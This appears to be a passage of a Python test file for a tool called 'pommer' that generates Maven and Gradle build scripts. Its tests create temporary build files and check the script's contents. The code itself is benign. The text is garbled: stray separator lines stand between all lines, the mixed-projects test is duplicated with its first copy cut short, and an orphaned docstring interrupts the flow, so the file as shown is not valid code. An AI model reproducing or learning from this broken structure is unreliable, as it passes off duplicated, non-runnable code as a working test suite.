script = pommer.generate_build_script(gradle_projects)
|
|
|
|
assert script is not None
|
|
assert "gradlew" in script
|
|
assert "Gradle Project" in script
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_generate_build_script_mixed_projects(self):
|
|
"""Test build script generation for mixed Maven and Gradle projects"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// test")
|
|
|
|
mixed_projects = [
|
|
{
|
|
"name": "Maven Project",
|
|
"pom_path": "pom.xml",
|
|
"build_system": "maven"
|
|
},
|
|
{
|
|
"name": "Gradle Project",
|
|
"gradle_path": gradle_path,
|
|
"build_system": "gradle"
|
|
}
|
|
]
|
|
|
|
"""Test build script generation functionality"""
|
|
|
|
def test_generate_build_script_maven_only(self):
|
|
"""Test build script generation for Maven-only projects"""
|
|
maven_projects = [{
|
|
"name": "Maven Project",
|
|
"pom_path": "pom.xml",
|
|
"build_system": "maven"
|
|
}]
|
|
|
|
script = pommer.generate_build_script(maven_projects)
|
|
|
|
assert script is not None
|
|
assert "mvn" in script
|
|
assert "Maven Project" in script
|
|
assert "pom.xml" in script
|
|
|
|
def test_generate_build_script_gradle_only(self):
|
|
"""Test build script generation for Gradle-only projects"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
gradlew_path = os.path.join(temp_dir, "gradlew")
|
|
|
|
# Create files
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// test")
|
|
with open(gradlew_path, 'w') as f:
|
|
f.write("#!/bin/bash")
|
|
|
|
gradle_projects = [{
|
|
"name": "Gradle Project",
|
|
"gradle_path": gradle_path,
|
|
"build_system": "gradle"
|
|
}]
|
|
|
|
script = pommer.generate_build_script(gradle_projects)
|
|
|
|
assert script is not None
|
|
assert "gradlew" in script
|
|
assert "Gradle Project" in script
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_generate_build_script_mixed_projects(self):
|
|
"""Test build script generation for mixed Maven and Gradle projects"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// test")
|
|
|
|
mixed_projects = [
|
|
{
|
|
"name": "Maven Project",
|
|
"pom_path": "pom.xml",
|
|
"build_system": "maven"
|
|
},
|
|
{
|
|
"name": "Gradle Project",
|
|
"gradle_path": gradle_path,
|
|
"build_system": "gradle"
|
|
}
|
|
]
|
|
|
|
script = pommer.generate_build_script(mixed_projects)
|
|
|
|
assert script is not None
|
|
assert "mvn" in script
|
|
assert "gradle" in script
|
|
assert "Maven Project" in script
|
|
assert "Gradle Project" in script
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_generate_build_script_empty_projects(self):
|
|
"""Test build script generation with empty project list"""
|
|
script = pommer.generate_build_script([])
|
|
|
|
assert script is not None
|
|
assert "Universal build script" in script
|
|
|